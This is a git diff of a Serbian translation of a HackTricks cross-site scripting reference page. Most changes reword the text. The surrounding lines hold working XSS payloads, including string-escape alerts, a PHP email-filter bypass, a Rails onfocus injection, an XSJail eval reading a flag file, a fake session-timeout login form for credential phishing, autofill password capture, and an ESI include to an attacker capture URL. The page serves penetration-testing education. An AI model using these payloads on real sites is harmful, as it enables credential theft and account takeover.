<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -482,7 +482,7 @@ Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je za
### Unutar JS koda
Ako se `<>` sanitizuju, još uvek možete **izbeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti JS sintaksu**, jer ako postoje greške, JS kod neće biti izvršen:
Ako se `<>` sanitizuju, još uvek možete **pobeći string** gde se vaš unos **nalazi** i **izvršiti proizvoljni JS**. Važno je **ispraviti JS sintaksu**, jer ako postoje greške, JS kod neće biti izvršen:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -735,7 +735,7 @@ top[8680439..toString(30)](1)
````
## **DOM ranjivosti**
Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\
Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može zloupotrebiti ovo da izvrši proizvoljan JS kod.\
**Zbog proširenja objašnjenja o** [**DOM ranjivostima, premešteno je na ovu stranicu**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
@ -749,7 +749,7 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
### Cookie XSS
Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste zloupotrebiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
@ -761,30 +761,30 @@ Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost.
### Održivost sesije
### Odbijanje sesije
Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Ako pronađete neki self XSS i web stranica ima **odbijanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju.
Možete naterati **administratora da izazove vaš self XSS** i ukradete njegove kolačiće/sesiju.
## Ostali zaobilaženja
## Ostali Bypass-ovi
### Normalizovani Unicode
Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL flag zaobilaženje
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Ruby-On-Rails bypass
Zbog **RoR masovne dodeljivanja** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Par "Ključ","Vrednost" će biti vraćen nazad ovako:
Par "Ključ","Vrednost" će biti vraćen ovako:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -822,18 +822,18 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS sa injekcijom zaglavlja u 302 odgovoru
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo je **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
Ako otkrijete da možete **injektovati zaglavlja u 302 preusmeravajućem odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
U [**ovoj izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
### Samo slova, brojevi i tačke
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničen na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
### Validni `<script>` Content-Types za XSS
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će baciti sledeću grešku:
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
> Odbijeno izvršavanje skripte sa [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') jer njen MIME tip (application/octet-stream) nije izvršiv, a strogo proveravanje MIME tipa je omogućeno.
@ -866,7 +866,7 @@ const char* const kSupportedJavascriptTypes[] = {
<script type="???"></script>
```
* **modul** (podrazumevano, nema potrebe za objašnjenjem)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete skup podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
```html
<script type="webbundle">
{
@ -950,7 +950,7 @@ Na primer, u [**ovoj analizi**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),
### XS Jails Escape
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za probleme sa XSJail:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1204,7 +1204,7 @@ Pregledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.c
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Hvatanje lozinki za automatsko popunjavanje
### Hvatanje automatski popunjenih lozinki
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1344,13 +1344,13 @@ Imate XSS na **sajtu koji koristi keširanje**? Pokušajte **da to unapredite na
```python
<esi:include src="http://yoursite.com/capture" />
```
Use it to bypass cookie restrictions, XSS filters and much more!\
Iskoristite to za zaobilaženje ograničenja kolačića, XSS filtera i još mnogo toga!\
Više informacija o ovoj tehnici ovde: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS u dinamički kreiranim PDF-ovima
Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da **prevarite bot** koji kreira PDF da **izvrši proizvoljni JS kod**.\
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, i možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, a vi možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -1444,9 +1444,9 @@ Find **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski pisano i govorno potrebno_).
If you are interested in **hacking karijeri** and hack the unhackable - **zapošljavamo!** (_tečno poljski pisano i govorno potrebno_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -1456,11 +1456,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
<details>
<summary>Support HackTricks</summary>
<summary>Podrška HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**planovi pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) or the [**telegram grupi**](https://t.me/peass) or **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}